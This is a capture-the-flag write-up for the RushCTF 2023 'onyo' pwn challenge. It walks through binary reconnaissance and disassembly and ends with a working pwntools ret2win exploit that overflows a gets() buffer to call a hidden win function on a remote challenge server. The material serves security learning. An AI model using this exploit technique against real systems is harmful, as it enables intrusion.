Note

Writeup for the second pwn challenge from the RushCTF 2023.

Description

Hello frend!  
Can you read flag.txt?

onyo.zip

File information

checksec chall && file chall

[*] '/home/conflict/ctfs/rushctf2023/pwn/onyo/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=838c3ab2792a09b81c8259f7b86265675b60d80e, for GNU/Linux 3.2.0, not stripped

So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX enabled.

This time, we don’t have to source code, so we’ll have to use a decompiler if we want to understand what the executable does.

Let’s first run strings to see if there is any useful string in the binary:

strings chall

<...>
puts
gets
system
<...>
/bin/sh
Hello frend! Please be my frend!! If you're ok to be my frend send "yes":
Yeaaaah you're my frend!!! Now i can tell you my secret...
There is a hidden function called "please_call_me".. I am sure if you call it, something awesome will happen!
Bye frend!
<...>

We can see that the system function is imported, and that there is some kind of hidden function called please_call_me that is probably our win function.

Exploitation

Let’s take a look at the disassembly of the executable:

   0x0000000000401157 <+0>:	push   rbp
   0x0000000000401158 <+1>:	mov    rbp,rsp
   0x000000000040115b <+4>:	sub    rsp,0x10
   0x000000000040115f <+8>:	mov    edi,0x402018
   0x0000000000401164 <+13>:	call   0x401030 <puts@plt>
   0x0000000000401169 <+18>:	lea    rax,[rbp-0x4]
   0x000000000040116d <+22>:	mov    rdi,rax
   0x0000000000401170 <+25>:	mov    eax,0x0
   0x0000000000401175 <+30>:	call   0x401050 <gets@plt>
   0x000000000040117a <+35>:	mov    edi,0x402068
   0x000000000040117f <+40>:	call   0x401030 <puts@plt>
   0x0000000000401184 <+45>:	mov    edi,0x4020a8
   0x0000000000401189 <+50>:	call   0x401030 <puts@plt>
   0x000000000040118e <+55>:	mov    edi,0x402116
   0x0000000000401193 <+60>:	call   0x401030 <puts@plt>
   0x0000000000401198 <+65>:	nop
   0x0000000000401199 <+66>:	leave  
   0x000000000040119a <+67>:	ret

We can see a call to gets() that stores our input in a 0x4 bytes buffer, which allows us to overflow it. Remember, never use gets().

Now that we know we can overwrite rip to jump where we want, we have to get the address of the please_call_me function.

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  gets@plt
<...>
0x00000000004010a0  deregister_tm_clones
0x00000000004010d0  register_tm_clones
0x0000000000401110  __do_global_dtors_aux
0x0000000000401140  frame_dummy
0x0000000000401146  please_call_me
0x0000000000401157  main
0x000000000040119c  _fini

We can see it is located at 0x401146. With that in mind, we can start making our exploit:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("challs.ctf.cafe", 8888)

    return r


def main():
    r = conn()

	# Pad the 0x4 bytes buffer
    padding = b'A'*0x4

	# Add 0x8 bytes to overwrite sRBP
    rbp = b'B'*0x8

    # Used to patch the stack alignment
    ret = p64(0x40101a)

	# Address of the please_call_me function, so the program jumps to it
    rip = p64(0x401146)

    payload = padding + rbp + ret + rip

    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

2023-03-11-234934_689x716_scrot

GG !